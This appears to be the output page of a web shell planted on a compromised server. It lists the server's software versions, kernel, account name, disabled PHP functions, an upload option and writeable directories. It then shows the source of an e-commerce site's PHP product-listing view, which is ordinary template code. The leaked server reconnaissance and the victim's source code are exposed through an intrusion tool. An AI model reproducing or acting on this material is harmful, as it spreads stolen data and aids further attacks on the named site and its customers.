https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/modules/newarrival/views/3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/modules/newarrival/views/3/newarrival.php
<?php if (isset($product_referrence)): ?>
  <?php if(count($new_arrivals) > 0) : ?> 
    <div class="companion-product" style="display: block !important;">
      <div class="divider">
        <hr style="border-top: 1px solid #6666;">
        <h5 style="font-weight: bold; font-size: 16px;">Frequently Bought Together</h5>
      </div>
      <div class="row">
        <?php foreach ($new_arrivals as $item) : ?>
        <?php 
          $this->load->helper('product'); 
          $thumbnail = get_product_thumbnail($item->id_products);

          $product_detail_id = $this->db->select('id')->from('product_details')->where('product_id', $item->id_products)->where('price !=', 0)->order_by('price', 'ASC')->limit(1)->get()->row()->id; 

          $product_combine = $this->db->group_by('attribute_id')->get_where("product_combination",array(
            "product_id"=>$item->id_products,
            "product_details_id"=>$product_detail_id,
          ))->result();

          $id_pc = '';
          foreach ($product_combine as $key_pc) {
            $id_pc .= $key_pc->attribute_id.'->'.$key_pc->attribute_detail_id.';';
          }
          $id_pc = substr($id_pc, 0,-1);
        ?>
          <div class="col-sm-4 col-companion-img">
            <div class="companion-img">
              <!-- <img src="assets/images/cosmetic/perfumes-5-1-600x600.jpg"  class="img-fluid" alt="" > -->
              <a style="height: 137px;" data-id_pc="<?= $id_pc; ?>" class="eve_product_a image-wrap" href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image1']; ?>" class="img-fluid" alt="">
                <!-- <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image2']; ?>" class="img-fluid" alt=""> -->
              </a> 
            </div>
            <div class="companion-title">
              <a data-id_pc="<?= $id_pc; ?>" class="eve_product_a" href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                <h6 style="font-size: 13px;font-weight: bold">
                  <?= ucwords($item->title); ?> <?= ucwords($item->brand); ?>
                </h6> 
              </a>
            </div>
            <div class="companion-price">
              <!-- <small>Rp.250.000</small> -->
              <?php
                $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row()->reseller_id;

                $t_normal_price = null;
                $t_disc_price = null;

                if($reseller_id == NULL) :

                  $lowest_price = get_lowest_price($item->id_products);
                  if($lowest_price->discounted_price == 0):
                    $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                  else : 
                    $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                    $t_disc_price = number_format($lowest_price->discounted_price, 0, ',', '.');
                  endif;

                else : 

                  $reseller_price = $this->db->select('price')->from('resellers_price')->where('product_detail_id', $product_detail_id)->where('reseller_id', $reseller_id)->get()->row()->price;

                  // reseller price
                  $t_normal_price = number_format($reseller_price, 0, ',', '.');
                endif; 
              ?> 
              <?php if ($t_disc_price != null): ?>
                <span class="discounted-price" style="text-decoration: line-through;">
                  Rp. <?= $t_normal_price; ?>
                </span>
                <span style="color: #e04926;" class="main-price discounted">
                  Rp. <?= $t_disc_price; ?>
                </span>
              <?php else: ?>
                <span style="color: #e04926;" class="main-price discounted">
                  Rp. <?= $t_normal_price; ?>
                </span> 
              <?php endif; ?>
            </div>
          </div>  
        <?php endforeach; ?> 
      </div>
      <div style="margin-top: 25px; text-align: right;" class="single-slider-post__content">
        <a href="<?= base_url(); ?>category/all-categories" class="blog-readmore-btn">
          view all
        </a>
      </div>
  </div>  
  <?php endif; ?>
   
<?php else: ?>

<!-- <div class="section-title-container mt-15">
   <div class="container">
      <div class="row">
         <div class="col-lg-12"> 
            <div class="section-title section-title--one text-center">
               <h1>New Arrival</h1>
            </div> 
         </div>
      </div>
   </div>
</div> -->
<!--=====  End of section title container ======-->
<!--=============================================
   =            product  area         =
   =============================================-->
<div class="product-area pb-5 pt-45" style="<?= $bg_section_color; ?>">
   <div class="container">
      <div class="row">

      <?php if(count($new_arrivals) > 0) : ?> 
        <?php foreach ($new_arrivals as $item) : ?>
        <div data-id="<?= $item->id_products; ?>" class="col-6 col-lg-3 col-md-6 col-sm-6 col-6 mb-20">
          <div class="single-product"> 
             <div class="single-product__image">
              <?php 
                $this->load->helper('product'); 
                $thumbnail = get_product_thumbnail($item->id_products);

                $product_detail_id = $this->db->select('id')->from('product_details')->where('product_id', $item->id_products)->where('price !=', 0)->order_by('price', 'ASC')->limit(1)->get()->row()->id;

                $product_combine = $this->db->group_by('attribute_id')->get_where("product_combination",array(
                  "product_id"=>$item->id_products,
                  "product_details_id"=>$product_detail_id,
                ))->result();

                $id_pc = '';
                foreach ($product_combine as $key_pc) {
                  $id_pc .= $key_pc->attribute_id.'->'.$key_pc->attribute_detail_id.';';
                }
                $id_pc = substr($id_pc, 0,-1);
              ?>  

              <a style="height: 270px;" data-id_pc="<?= $id_pc; ?>" class="eve_product_a image-wrap" href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image1']; ?>" class="img-fluid" alt="">
                <img style="width: 100%;max-height: 100%;height: 100%;" src="<?= $thumbnail['image2']; ?>" class="img-fluid" alt="">
              </a> 
                <!-- <a class="image-wrap" href="product.php">
                  <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/cosmetic/product-instagram-19-600x600.jpg" class="img-fluid" alt="">
                  <img src="<?= base_url('themes/'.$theme.'/'); ?>assets/images/cosmetic/product-instagram-18-600x600.jpg" class="img-fluid" alt="">
                </a> -->
                <div class="single-product__floating-badges">
                  <?php if ($item->new_arrival == 'yes'): ?>
                    <span class="hot">NEW</span>
                  <?php endif; ?>
                </div>
                <div class="single-product__floating-icons">
                  <span class="wishlist">
<?php 
$ses_customer = $this->session->userdata('customer');
$count_wishlist = $this->db->select('id_wishlist')
->from('wishlist')->where('customer_id', $ses_customer['customer_id'])
->where('product_id', $item->id_products)
->get()->num_rows(); 
?>                                        
<a href="javascript:void(0)" data-value="<?= $item->id_products; ?>" <?php if($this->session->userdata('customer')['customer_id']):?>
    class="add_wishlist_login" 
  <?php else: ?>
    class="add_wishlist_nonlogin" 
  <?php endif; ?>>
  <?php if ($count_wishlist > 0): ?> 
    <i style="color: #e04926 !important;" class="ion-android-favorite"></i> 
  <?php else: ?>
    <i class="ion-android-favorite-outline"></i> 
  <?php endif ?>
</a>
                  </span>
                </div>
             </div>

             <div class="single-product__content">
                <div>
                  <h5 style="font-weight: bold;">
                    <a class="li_product_a" data-id_pc="<?= $id_pc; ?>" href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
                      <?= ucwords($item->title); ?>
                      <!-- <br>
                      <span><?= ucwords($item->brand); ?></span> -->
                    </a>
                  </h5>
                </div>
                <div class="price">
                  <?php
                    $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row()->reseller_id;

                    $t_normal_price = null;
                    $t_disc_price = null;

                    if($reseller_id == NULL) :

                      $lowest_price = get_lowest_price($item->id_products);
                      if($lowest_price->discounted_price == 0):
                        $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                      else : 
                        $t_normal_price = number_format($lowest_price->price, 0, ',', '.');
                        $t_disc_price = number_format($lowest_price->discounted_price, 0, ',', '.');
                      endif;

                    else :

                      $reseller_price = $this->db->select('price')->from('resellers_price')->where('product_detail_id', $product_detail_id)->where('reseller_id', $reseller_id)->get()->row()->price;

                      // reseller price
                      $t_normal_price = number_format($reseller_price, 0, ',', '.');
                    endif; 
                  ?> 
                  <?php if ($t_disc_price != null): ?>
                    <span class="main-price discounted">
                      Rp. <?= $t_normal_price; ?>
                    </span> 
                    <span class="discounted-price">
                      Rp. <?= $t_disc_price; ?>
                    </span>
                  <?php else: ?> 
                    <span class="discounted-price">
                      Rp. <?= $t_normal_price; ?>
                    </span>
                  <?php endif; ?>
                </div> 
             </div> 
          </div>
        </div> 
        <?php endforeach; ?>  
      <?php endif; ?> 
          
      </div>
      <div style="margin-top: 0px; text-align: right;" class="single-slider-post__content">
        <a href="<?= base_url(); ?>category/all-categories" class="blog-readmore-btn">
          view all
        </a>
      </div>
   </div>
</div>
<?php endif; ?> 

https://t.me/RX1948 - 2025